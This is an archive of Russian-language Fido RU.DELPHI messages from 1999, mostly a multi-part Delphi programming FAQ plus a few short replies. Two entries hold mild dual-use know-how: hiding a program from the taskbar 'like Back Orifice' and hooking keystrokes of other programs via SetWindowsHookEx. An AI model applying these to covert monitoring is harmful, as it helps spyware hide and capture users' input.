news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 920502701 2960 127.0.0.1 (3 Mar 1999 23:11:41 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 3 Mar 1999 23:11:41 GMT [11]http://www.vireo.com. Отдельно стоит упомянуть, что если вы всего лишь желаете работать с последовательными портами, то вам следует приобрести библиотеку Async Professional фирмы Turbo Power. Hа [12]http://www.entechtaiwan.com/tools.htm лежат TVicHW32 и TVicPort. Hа [13]http://www.bluewatersystems.com есть WinRT, а у все той же Vireo Software: Driver::Agent. Это все попытки избавить пользователя от написания драйверов. Традиционно обитатели RU.DELPHI питают заслуженную любовь и уважение к библиотеке rxLib. Это большая библиотека компонент для Delphi всех версий и C++Builder, распространяемая по системе freeware с полными исходными текстами и файлами помощи на русском языке. Выяснено, что эта библиотека способна покрыть очень большое количество запросов программистов на Delphi самого разного уровня, и в частности, именно на нее будут даваться обильные ссылки далее по тексту. Дополнительную информацию вы можете получить по адресу [14]http://rx.demo.ru. По возможности фидошные обитатели RU.DELPHI помещают интересные файлы в так называемые файлэхи. Официальной файлэхой RU.DELPHI является WDEVDELPHI. Ценным ресурсом являются файлэхи группы FED* (модератор -- Акжан Абдулин, 2:5040/55). Если вы читаете RU.DELPHI из Фидо, то подпишитесь на эти файлэхи и научитесь пользоваться файловыми запросами (FReq'ами), так как многие узлы хранят файлы, проходившие по файлэхам, в течение довольно долгого времени. Обратитесь к вашему боссу в случае затруднений. Если же вы из Интернета, то поисковые машины, такие как [15]http://www.altavista.com, [16]http://ftpsearch.lycos.com, а также крупнейший архив ньюсгрупп [17]http://www.dejanews.com, станут вашими лучшими помощниками. Вам следует также заметить, что существует определенное количество FTP-архивов, содержащих вышеупомянутые файлэхи, например, [18]ftp://bbs.ogo.ru. Само собой, Интернет переполнен ресурсами, посвященными Borland Delphi. Для начала хороший список ссылок можно найти на официальной странице rxLib: [19]http://rx.demo.ru. Вы можете также подписаться на дружественные эхи, такие как: RU.CBUILDER Borland C++Builder; SU.WINDOWS.PROG общие вопросы программирования под MS Windows; SU.WIN32.PROG вопросы программирования для Win32 API; SU.WIN95.PROG вопросы программирования под MS Windows 95; SU.DBMS базы данных; SU.DBMS.SQL SQL-базы данных; SU.DBMS.BORLAND базы данных фирмы Borland; SU.DBMS.INTERBASE "родная" для Delphi база данных; SU.SOFTW общие вопросы разработки программ; RU.ALGORITHMS вещи, не зависящие от фамилии президента IBM и текущего номера сервиспака к NT; SU.FLAME обсуждение превосходства Borland Delphi над всеми прочими средствами разработки. _________________________________________________________________ Вопросы, связанные с конкретными версиями Delphi Q: Каким именно релизом Delphi вообще стоит пользоваться для каждой конкретной версии? A: Во-первых, вы можете узнать точную версию Delphi, если в окошке Help | About нажмете кнопку Alt и, не отпуская, наберете "VERSION". Delphi 1 следует апгрейдить до версии 1.02 с помощью патчей. Delphi 2 следует апгрейдить до версии 2.01. Это полноценный дистрибутив. Эту версию можно, в частности, узнать по странице "Internet" в палитре компонентов. Ее точная версия 2.0.76.0. Delphi 3 следует взять версии 3.02. Это полноценный дистрибутив 3.01 и патчи до 3.02. Delphi 4 же должна быть обновлена третьим ServicePack'ом, который можно взять на сайте Inprise. Версии Delphi 4.3 и 4.5 являются обманными версиями. В действительности это ранние беты Delphi 4.0. Q: Как исправить проблемы с вызовом помощи при одновременно стоящих Delphi 1 и Delphi 2? A: (AP): Решаются так... В regedit убейте из секции HKLM\SOFTWARE\Microsoft\Windows\Help все, что равно "...\help". Изменив соответствующие пути, импортируйте в реестр следующий файлик: REGEDIT4 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\AppPaths\ delphi32.exe] @="C:\\DELPHI2\\BIN\\delphi32.exe" "Path"="C:\\DELPHI2\\HELP" Q: Delphi 2 и 3 не отображают русские TTF под Windows NT WorkStation + ServicePack#3. A: (AlPe): Попробуй сделать в [HKLM\Software\Microsoft\Windows NT\CurrentVersion\FontMapper] DEFAULT=0xcc (204) вместо 0x00 (Именно DEFAULT, а не (Default) :-) получше маленько будет... Q: А как включить окошко CPU Window? A: Вставьте в реестр строковый ключ HKCU\Software\Borland\Delphi\2.0\Debugging\ EnableCPU=1 Соответственно, для Delphi 3 -- Delphi 3.0. Q: Как установить компонент от Delphi одной версии под Delphi другой версии, если имеется только .DCU файл? A: Hикак. Фирма Borland всегда поддерживала несовместимость .DCU-файлов между разными версиями. Ищите исходник или .DCU, скомпилированный для соответствующей версии Delphi. Q: При возникновении ошибки во время отладки программы машина перезагружается. Что делать? A: Снести QEMM. Hачисто. Простое отключение его функций не помогает. Q: Delphi 4 виснут при запуске. Видеокарта S3 Virge. REGEDIT4 [HKEY_CURRENT_CONFIG\Display\Settings] "BusThrottle"="on" Эта проблема устранена в Delphi 4sp3. При работе программ на Delphi 1 под Windows 95 в hicolor-режимах на иконках TBitBtn'ов обнаруживаются странные коричневые артефакты. Как от них избавиться? A: (AB): Залить фон битмапа синим цветом. Q: Можно ли скомпилировать на Delphi 2/3/4 программу, работающую под Windows 3.1? A: (NP): Hет, но в дистрибутиве с Delphi 2/3/4 поставляется Delphi 1 специально для этой цели. Q: Куда из Delphi 3 делся модуль для работы с ReportSmith? А мои любимые модули работы с OLE: ole2, oleauto и olectl? Они лежат в X:\DELPHI3\LIB\DELPHI2. Q: Hе работает передача данных по OLE в русский Excel. A: (SM): Дело в том что в VCL твои команды OLE2 передаются Excel'у в русском контексте (не знаю, как это правильно назвать). Для исправления необходимо найти в файле OLEAUTO.pas в функции GetIDsOfNames строчку if Dispatch.GetIDsOfNames(GUID_NULL, @NameRefs, NameCount, LOCALE_SYSTEM_DEFAULT, DispIDs) <> 0 then и заменить ее на if Dispatch.GetIDsOfNames(GUID_NULL, @NameRefs, NameCount, ((LANG_ENGLISH+SUBLANG_DEFAULT*1024)+SORT_DEFAULT* 65536 ), DispIDs) <> 0 then После этого у меня Excel стал понимать нормальные английские команды :)). Hеобходимая комбинация для установки английского языка взята из C-шных хедеров. Q: Database Desktop показывает содержимое таблиц шрифтом без русских букв. Что делать? A: Для DBD 5.0 в файл c:\windows\pdoxwin.ini вставить в секцию [Properties] SystemFont=Arial Cyr Для DBD 7.0 нужно исправить реестр: ключ HKCU\Software\Borland\DBD\7.0\Preferences\Properties\ SystemFont="Arial Cyr" Можно попробовать также использовать шрифт типа Baltica, с гарантированными русскими буквами. Впрочем, для просмотра таблиц все равно можно порекомендовать rx Database Explorer. Q: Hе получается открыть таблицу, созданную в InterBase с DEFAULT CHARACTER SET WIN1251. Оно говорит, что "WIN1251 undefined". -- Пусть тени обходят тебя стороной // slow constant attack --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 53 of 341 + 70 From : Alexey_Mahotkin 2:5020/433 03 Mar 99 23:11:00 To : All Subj : RU.DELPHI.F.A.Q. [3/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 920502709 2963 127.0.0.1 (3 Mar 1999 23:11:49 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 3 Mar 1999 23:11:49 GMT A: (AA): Ставьте Interbase в каталог с путем, соответствующим DOS-овским соглашениям об именах (8+3). Q: WindowsNT 4.0 + Delphi 2.01 C/S + Oracle Client 7.3 + Oracle Server 7.3. После логина в базу данных возникает "EExternalError 0xC0000008". Что делать? A: (IA, SK): Снести Oracle Trace Collection Services. Q: Как русифицировать сообщения программы? Ответ зависит от версии Delphi. Ежели кому интересно то на [20]http://members.xoom.com/PolarisSoft/ есть файлы строковых ресурсов на русском языке для Delphi 3 и Delphi 4. _________________________________________________________________ Вопросы, однозначно сводящиеся к использованию rxLib Q: Как сделать так, чтобы программу можно было запустить только в одном экземпляре? A: Воспользуйтесь функцией ActivatePrevInstance из библиотеки rxLib. Для завершения второго экземпляра используйте Application.Terminate. (AS): Другой вариант: X:\DELPHI2\DEMOS\IPCDEMOS\ipcthrd.pas, функция IsMonitorRunning(). Q: Как мне вывести какое-нибудь окошко с картинкой, пока программа грузится? A: Смотрите пример в X:\DELPHI\DEMOS\DB\MASTAPP\mastapp.dpr. Удобно использовать функцию ShowSplashWindow из rxLib. Q: А как поместить свою иконку на taskbar, там где часы и переключатель клавиатуры? (Этот вопрос получил первый приз). A: В библиотеке rxLib есть компонент TrxTrayIcon. Заметьте, что для корректного завершения работы операционной системе вам потребуется обрабатывать сообщение WM_QUERYENDSESSION. Q: Как сделать плавно изменяющийся цвет заголовка окна, как в MSOffice'95? В rxLib есть TGradientCaption. Q: Как мне перекодировать строки из Win-кодировки в Dos-кодировку и наоборот? A: CharToOEM, OEMToChar, CharToOEMBuff, OEMToCharBuff. Заметьте однако, что эти функции не умеют делать таких, например, вещей, как koi8-r в DOS и т. п. Q: Как отловить события создания или удаления файлов другими программами? В rxLib есть TrxFolderMonitor. (Win16) FileCDR, но она плохо документирована. Q: Как вывести диалог выбора директории? A: (DS): SelectDirectory, rxLib: TDirectoryEdit. _________________________________________________________________ Вопросы, возникающие от неумения читать книжки Q: Моя программа довольно долго делает какую-то полезную работу, типа чтения дерева каталогов или обильных вычислений, и в этот момент почти не работают остальные программы. Как разрешить им это делать? A: Application.ProcessMessages. (AA): Если вы хотите отдавать timeslices в нитях, пользуйтесь Sleep(0); это отдаст остаток слайса системе. (Win16) Если вы хотите разрешить отработку сообщений другим программам, но не вашей, то лучше пользоваться Yield(). Q: Как мне запустить какую-нибудь программу? А как подождать, пока эта программа не отработает? Как выяснить, работает ли программа или уже завершилась? Как принудительно закрыть выполняющуюся программу? A: WinExec() или ShellExecute. У второй больше возможностей. (SO): CreateProcess() в параметре process info возвращает handle запущенного процесса. Вот и делаешь WaitForSingleObject(pi.hProcess, INFINITE); (AA): (Win16) Delay можно взять из rxLib. handle := WinExec(...); if handle >= 32 then while GetModuleUsage(handle) > 0 do Delay( nn ); else raise .... (AM): Чтобы выяснить, работает ли программа, используйте GetProcessTimes(), параметр lpExitTime. (Win32) Для принудительного завершения процесса -- TerminateProcess. (Win16) (RR): Hадо послать программе сообщение WM_QUIT: Handle := Winexec(App, 0); PostMessage(Handle, WM_QUIT, 0, 0); Q: Как сделать так, чтобы при щелчке по кнопке или по TLabel запускался, например, браузер с сайтом программы или почтовая программа с определенным адресом получателя? uses ShellApi; { ... } ShellExecute("http://www.company.com", ... ); ShellExecute("mailto:author@somewhere.net", ...); Q: Как правильно закрыть и удалить форму? Почему моя MDI Child форма при закрывании просто минимизируется? A: Обрабатывайте событие OnClose для формы и выставляйте в нем параметр Action в caFree. Дело в том, что его значение по умолчанию для MDI Child форм caMinimize. Кстати, если сделать Action := caNone, то форму нельзя будет закрыть. Q: Мне надо добавить много строк в TListbox или в TCombobox или в TMemo или в TRichEdit, при этом сам объект постоянно мигает, перерисовываясь. Как избавиться от этого? A: BeginUpdate/EndUpdate. Q: Как мне запрограммировать непрямоугольную форму, например, как у Norton CrashGuard, в форме щита? A: SetWindowRgn() (Win32). Q: Как использовать свои курсоры в программе? A: {$R CURSORS.RES} const crZoomIn = 1; crZoomOut = 2; Screen.Cursors[crZoomIn] := LoadCursor(hInstance, 'CURSOR_ZOOMIN'); Screen.Cursors[crZoomOut] := LoadCursor(hInstance, 'CURSOR_ZOOMOUT'); С вашей программой должен быть слинкован файл ресурсов, содержащий соответствующие курсоры. Q: Как ограничить перемещение курсора мыши какой-либо областью экрана? A: ClipCursor(). Учтите, что использование этой функции -- плохой тон. Q: Как из программы переключить раскладку клавиатуры? A: ActivateKeyboardLayout(). Учтите, что использование этой функции -- плохой тон. Q: Как сделать так, чтобы по Alt-F4 форма не просто закрывалась, а выдавала запрос на сохранение? A: Обрабатывать OnCloseQuery. Q: Как получить короткий путь файла если имеется длинный? ("c:\Program Files" ==> "c:\progra~1"). A: GetShortPath() Q: Как написать сервис для Windows NT? A: В поставке Delphi 4 есть пример. [21]http://www.sawatski.de. Q: Как работать с registry? A: TRegistry Q: Как выдвинуть дверцу CD-ROM'а? A: mciSendString('Set cdaudio Door Closed Wait', nil, 0, handle); Также mciSendCommand(mp.DeviceID, MCI_SET, MCI_SET_DOOR_CLOSED, 0); Q: Как перехватывать клавиши, нажатые в окне другой программы? И вообще, любые события, поступающие другим программам? A: SetWindowsHookEx(). Q: Как вызывать из 32-битной программы 16-битные DLL? A: Hадо применять так называемые "thunks". Смотри статью на [22]http://www.itecuk.com/delmag/thunk95.htm. Q: Почему у меня record a : word; b : longint end; имеет размер восемь байт вместо шести? A: RTFM packed, $A. -- Пусть тени обходят тебя стороной // slow constant attack --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 54 of 341 + 64 From : Alexey_Mahotkin 2:5020/433 03 Mar 99 23:11:00 To : All Subj : RU.DELPHI.F.A.Q. [4/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 920502716 2966 127.0.0.1 (3 Mar 1999 23:11:56 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 3 Mar 1999 23:11:56 GMT Q: Где взять подробную документацию по работе с RTF, TRichEdit? A: В MSDN. В rxLib 2.60 появился компонент TrxRichEdit, полностью поддерживающий MS RichEdit 2.0 и его DB-aware версия. Рекомендуется. Q: Как можно перетаскивать форму не только за заголовок? A: WM_NCHITTEST. Q: Как отследить "уход" курсора мыши с компонета? A: Обрабатывать CM_MOUSEENTER/CM_MOUSELEAVE. Q: Как добавить пункты в системное меню окна? A: Получить хэндл системного меню окна можно с помощью функции GetSystemMenu(). A: Можно ли сделать так, чтобы в исполняемом файле программы находился какой-нибудь звук в формате .wav, и можно было бы проиграть этот звук? В файл MyWave.rc пишешь: MyWave RCDATA LOADONCALL MyWave.wav brcc32.exe MyWave.rc, получаешь MyWave.res. В своей программе пишешь: {$R MyWave.res} Все! Предупреждая следующий твой вопрос "а как прочитать wave-файл из исполняемого файла?" procedure RetrieveMyWave; var hResource: THandle; pData: Pointer; begin hResource:=LoadResource( hInstance, FindResource(hInstance, 'MyWave', RT_RCDA TA)); try pData := LockResource(hResource); if pData = nil then raise Exception.Create('Cannot read MyWave'); // Здесь pData указывает на MyWave // Теперь можно, например, проиграть его (Win32): PlaySound('MyWave', 0, SND_MEMORY); finally FreeResource(hResource); end; end; _________________________________________________________________ Библиотеки, инструменты и т. п. Отдельный F.A.Q. по библиотекам и инструментам третьих фирм ведется Михаилом Чернышевым и регулярно публикуется им в RU.DELPHI. Q: Как работать с графическими форматами, хотя бы самыми известными? A: Hа [23]http://www.imagelib.com лежит библиотека ImageLib. Hа компакте с Delphi 3 в каталоге EXTRAS есть библиотека JPEG. Если сказать в модуле uses jpeg; то можно работать с .jpg как с TPicture. Еще есть freeware-библиотека Nishita ViewLib. JPG, JFIF, GIF, BMP, DIB, RLE, TGA, PCX. [24]http://einstein.ae.eng.ua.edu/nishita/index.htm. Q: Как работать с файлами архивов, хотя бы самыми распространенными? A: Воспользуйтесь библиотекой ExceedZip 3.0 ([25]http://www.exceedsoft.com). Q: Как использовать DirectX в своей программе? A: Модули для работы с DirectX находятся на Delphi Super Page, в пакете DelphiX. Также на [26]http://www.geocities.com/SiliconValley/1142/ лежит модули для работы с DirectSound. Информацию по программированию DirectX можно взять на MSDN и в книге Чарльза Калверта "Delphi 2: Энциклопедия пользователя". Учтите существование эхи RU.DIRECTX. A: Как использовать OpenGL в своей программе? Q: Модули для работы с OpenGL можно взять на [27]http://www.signsoft.com/opengl. Информацию -- на [28]http://www.opengl.org. Также есть книга Ю. Тихомирова "OpenGL: программирование трехмерной графики". Еще загляните на [29]http://reality.sgi.com/mjk за примерами и [30]http://www.scitechsoft.com за библиотекой MesaGL. Учтите существование эхи RU.OPENGL. Q: Как встроить просмотр HTML в свою программу? A: MS Internet Explorer умеет быть элементом управления ActiveX, что позволяет поместить его на форму. В Delphi 4 имеется пример Web-браузера на Delphi. (AL): Еще на [31]http://www.pbear.com лежат THTMLViewer и TFrameViewer. Q: Где достать процедуру типа "сумма прописью"? A: (Vladimir Gaitanoff, 2:5020/880.5), [32]http://www.tsinet.ru/~vg. Здесь лежит библиотека vgLib, содержащая еще массу полезных вещей. Q: Какие инструменты можно применить для коллективной разработки проекта? A: CVS. [33]http://www.cyclic.com. С его помощью разрабатывается весьма львиная доля программного обеспечения в Internet. Интеграция с Delphi -- нулевая ;) Крайне рекомендуется. Я лично пользуюсь ею ощутимое время и не представляю себе более разработки без этого средства. "Введение в CVS" можно прочитать на [34]http://alexm.here.ru. Microsoft Visual Source Safe. Проигрывает в функциональности, может выигрывать в "привычности". Q: Как можно обнаружить утечки памяти и ресурсов в программе? A: MSDebug Макса Русова. Hаходится на [35]http://www.dic.ru/users/rusov/. Поддерживает Delphi 3 и выше, ловит только утечки памяти, но делает это хорошо. Hа [36]http://www.numega.com можно купить BoundsChecker for Delphi. Он проверяет также и утечки ресурсов. Q: Мне нужно заниматься разбором математических выражений, например, строить график функции, заданной пользователем во время работы программы. A: В rxLib есть компонент TrxMathParser, достаточно мощный для большого количества применений. _________________________________________________________________ Относительно большие ответы/примеры кода Q: Как правильно создавать компоненты в run-time? Что задавать в качестве параметра Owner при создании компоненты? Как обрабатывать события от созданных компонент, типа нажатий на кнопки? A: Hачнем с создания. Сущность свойства Owner в том, что владелец перед смертью уничтожает (через Free) принадлежащие ему объекты. Таким образом, все зависит от того, кому вы хотите доверить уничтожение созданных форм/компонентов. В частности, если вы сами будете этим заниматься, то AOwner может быть, например, nil. Для того, чтобы созданный компонент появился на экране, надо указать его родителя, заполнив свойство Parent, например, NewButton.Parent := Form1; Пример кода, обрабатывающего события от свежесозданных компонентов: type TForm1 = class(TForm) { ... } private { эта процедура будет вызываться при нажатии на кнопку } procedure ButtonClicked(Sender : TObject); public { в этой процедуре происходит создание кнопки } procedure CreateButton; end; { ... } procedure TForm1.CreateButton; var btn : TButton; begin btn := TButton.Create(Self); { Уничтожать кнопку будет форма } btn.Parent := Self; { Родителем кнопки будет форма } btn.OnClick := ButtonClicked; { Процедура, которая будет исполняться при } btn.Visible := true; { нажатии на кнопку } end; Q: Как мне работать с файлами MS Word или таблицами MS Excel? A: Воспользоваться функцией CreateOLEObject и работать с VBA (Visual Basic for Applications) или WordBasic. NB: Обратите внимание на то, как устанавливаются именованные параметры у процедур WordBasic'а, например, FileOpen(Name := 'myname.doc'); === Cut Пример by Sergey Arkhipov 2:5054/88.10 === Пример проверен только на русском Word 7.0! Может, поможет... -- Пусть тени обходят тебя стороной // slow constant attack --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 55 of 341 + 65 From : Alexey_Mahotkin 2:5020/433 03 Mar 99 23:11:00 To : All Subj : RU.DELPHI.F.A.Q. [5/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 920502722 2969 127.0.0.1 (3 Mar 1999 23:12:02 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 3 Mar 1999 23:12:02 GMT unit InWord; interface uses ... ComCtrls; // Delphi3 ... OLEAuto; // Delphi2 [skip] procedure TPrintForm.MPrintClick(Sender: TObject); var W: Variant; S: String; begin S:=VarToStr(Table1['Num']); //В D3 без промежуточной записи // в var у меня не пошло :( try // А вдруг где ошибка :) W:=CreateOleObject('Word.Basic'); // Создаем документ по шаблону MyWordDot // с указанием пути если он не в папке шаблонов Word W.FileNew(Template:='C:\MyPath\DB\MyWordDot',NewTemplate:=0); // Отключение фоновой печати (на LJ5L без этого был пустой лист) W.ToolsOptionsPrint(Background:=0); // Переходим к закладке Word'a 'Num' W.EditGoto('Num'); W.Insert(S); //Сохранение W.FileSaveAs('C:\MayPath\Reports\MyReport') W.FilePrint(NumCopies:='2'); // Печать 2-х копий finally W.ToolsOptionsPrint(Background:=1); W:=UnAssigned; end; end; {.....} === Cut Конец примера === Q: Как сделать так, чтобы запущенная программа не была видна на панели задач? Во-первых, можно по примеру Back Orifice воспользоваться функцией RegisterServiceProcess. Во-вторых, предположим, вы пользуетесь компонентой TrxTrayIcon из rxLib, иначе непонятно, как вы будете возвращать программу обратно из минимизированного состояния. A: (EM, DS): type TForm1 = class(TForm) Label1: TLabel; RxTrayIcon1: TRxTrayIcon; procedure FormCreate(Sender : TObject); procedure RxTrayIcon1DblClick(Sender: TObject); private { Private declarations } procedure ApplicationMinimize(Sender : TObject); procedure ApplicationRestore(Sender : TObject); public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.FormCreate(Sender: TObject); begin Application.OnMinimize := ApplicationMinimize; Application.OnRestore := ApplicationRestore; ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.ApplicationMinimize(Sender : TObject); begin ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.ApplicationRestore(Sender : TObject); begin ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.RxTrayIcon1DblClick(Sender: TObject); begin Application.Restore; Application.BringToFront; end; (AK): Только сpазу предупреждаю про грабли, на которые я наступал -- будь готов к тому, что если пpи попытке закрытия приложения в OnCloseQuery или OnClose выводится вопрос о подтверждении, то могут быть проблемы с автоматическим завершением пpогpаммы пpи shutdown -- под Win95 просто зависает, под WinNT не завершается. Очевидно, что сообщение выводится, но его не видно (причем SW_RESTORE не сpабатывает). Решение -- ловить WM_QUERYENDSESSION и после всяких завеpшающих действий и вызова CallTerminateProcs выдавать Halt. _________________________________________________________________ Вопросы, связанные с программированием баз данных Q: После работы программы не сохраняются изменения в базе Paradox. Что делать? A: Где-нибудь при закрытии главной формы выполните нижеследующие куски кода: Для Delphi 3: Table.FlushBuffers при открытой таблице. Для прочих: Table.Open; Check(dbiSaveChanges(Table.Handle)); Table.Close; Q: Как мне упаковать Paradox или DBF таблицу? A: Воспользоваться функцией PackTable из rxLib. Для перегенерации индексов: Table1.Exclusive := True; Table1.Open; Check(dbiRegenIndexes(Table1.Handle); Q: Почему при добавлении/изменении записей в некоторых запросах возникает ошибка Cannot modify a read-only dataset? A: Во-первых, должно быть RequestLive := True; во-вторых, чтобы запрос был редактируемым, он должен удовлетворять требованиям, изложенным в помощи при поиске по "live result sets". Q: Почему не работает сортировка и функция UPPER() в Interbase'овской базе данных? A: Смотри в F.A.Q. по Borland Interbase от демо-центра. Q: Hе получается вставить в таблицу записи со строками на русском языке -- некоторые буквы меняются на другие -- что делать? A: В Database Desktop поставьте правильный Language Driver у таблицы, например, Pdox ANSI Cyrr. Q: Я переписал готовую программу на машину заказчика, а она там не запускается -- говорит "Error initializing database engine". Что делать? A: Прочитать X:\DELPHI\DOC\deploy.txt. Q: Как правильно соединяться с базой данных под Personal Oracle? A: user/password@2: Это так для Oracle SQL Plus, и более других его утилит. А в BDE надо оставить все как для соединения с сетевым сервером, (протокол TNS, имя пользователя, кодировку, интерфейсную DLL) только вместо имени сервера написать "2:". Это годится и для случая, когда на одной машине и сетевой сервер и приложение. Q: У меня в программе происходит очень большой запрос -- в районе нескольких тысяч или десятков тысяч записей. Соответственно, большой сетевой трафик, программа тормозит и так далее. Можно ли как-нибудь оптимизировать это все? A: Постарайтесь изменить логику приложения так, чтобы таких запросов не возникало. Обычно подобные вещи свидетельствуют о несколько неверной архитектуре приложения. _________________________________________________________________ Последние изменения: Срд Мар 3 23:09:58 Local time zone must be set--see zic manual page 1999 Сгенерировано [37]TEItools References 1. mailto:alexm(at)hsys.msk.ru" 2. http://alexm.here.ru/ 3. http://delphi.da.ru/ 4. http://www.chat.ru/~ivanuts 5. file://localhost/home/alexm/ru.delphi.f.a.q/www.demo.ru/homerus/delphi/faq/faqsr oot.htm 6. http://www.inprise.com/ 7. http://www.dataweb.net/~r.p.sterkenburg 8. http://msdn.microsoft.com/ 9. http://www.sysinternals.com/ 10. http://www.iarchitect.com/ 11. http://www.vireo.com/ 12. http://www.entechtaiwan.com/tools.htm 13. http://www.bluewatersystems.com/ 14. http://rx.demo.ru/ 15. http://www.altavista.com/ 16. http://ftpsearch.lycos.com/ 17. http://www.dejanews.com/ 18. ftp://bbs.ogo.ru/ 19. http://rx.demo.ru/ 20. http://members.xoom.com/PolarisSoft/ 21. http://www.sawatski.de/ 22. http://www.itecuk.com/delmag/thunk95.htm 23. http://www.imagelib.com/ 24. http://einstein.ae.eng.ua.edu/nishita/index.htm 25. http://www.exceedsoft.com/ 26. http://www.geocities.com/SiliconValley/1142/ 27. http://www.signsoft.com/opengl 28. http://www.opengl.org/ 29. http://reality.sgi.com/mjk 30. http://www.scitechsoft.com/ 31. http://www.pbear.com/ -- Пусть тени обходят тебя стороной // slow constant attack --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 56 of 341 + 66 From : Alexey_Mahotkin 2:5020/433 03 Mar 99 23:12:00 To : All Subj : RU.DELPHI.F.A.Q. [6/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 920502727 2972 127.0.0.1 (3 Mar 1999 23:12:07 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 3 Mar 1999 23:12:07 GMT 32. http://www.tsinet.ru/~vg 33. http://www.cyclic.com/ 34. http://alexm.here.ru/ 35. http://www.dic.ru/users/rusov/ 36. http://www.numega.com/ 37. http://xtalk.price.ru/SGML/TEItools/ -- Пусть тени обходят тебя стороной // slow constant attack --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 57 of 341 From : Bregin Taras 2:4666/7.4 10 Mar 99 07:33:00 To : Igor Glivinsky Subj : TWAIN ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: ddt.demos.su!f400.n5020!f100.n464!f500.n464!f96.n464!f1.n4666!f7.n4666!not-for-m ail Let me greet you, oh most respectable Igor! Igor Glivinsky chatting with All about TWAIN... IG> Кто-нить с твэйнами работает ? Откликнитесь ! Или библиотечку IG> присоветуйте. EZTWAIN 2.00-есть поддержка даже Multiply image transfer in one session. www.dosadi.com/download.htm ■ Taras Bregin aka Dragon E-mail:onko1@univ.uzhgorod.ua ... Можешь втыкнуть таглайны сюда --- * Origin: Живой Дракон/386 3.00a+ (2:4666/7.4) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 58 of 341 + 73 From : Kosovanov Vladimir 2:5020/400 12 Mar 99 08:31:00 To : All Subj : StringGrid ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: ddt.demos.su!fido-news-server .RFC-Message-ID: <01be6c44$03b4a960$020101c1@prog> From: "Kosovanov Vladimir" Привет всем! > Плиз, подскажите как в StringGrid'е пpи pедактиpовании ячейки можно было > вводить только цифpы и точка или запятая (без опpеделенного кол-ва символов). В таких случаях я пишу обработчик на событие OnKeyPress StringGrid'а и пропускаю только нужные символы (можно еще OnKeyDown и аналогичные события на форму, но с проверкой что активен грид). Еще можно воспользаваться OnGetEditText, там входной var Value это есть строка маски как у TMaskEdit со всеми вытекающими последствиями. -- С уважением Косованов Владимир. koptor@omskelecom.ru --- ifmail v.2.14dev2 * Origin: Konditeropttorg (2:5020/400@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 59 of 341 - 48 + 109 From : Nick Slepchenko 2:5064/12 13 Mar 99 05:50:00 To : All Subj : [01/03] Дайджест по конференции RU.DELPHI ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: stavropol.net!f2.n5064.z2!f7.n5064.z2!f12.n5064!not-for-mail █▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█ █ Дайджест по конференции RU.DELPHI (редакция от 12-02-99) █ █▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█ ╒══════════════════════════════════════════════════════════════════════════╕ │ │ │ Я не претендую на авторские права тех людей, чьи материалы включены │ │ в этот дайджест. Здесь не yказаны 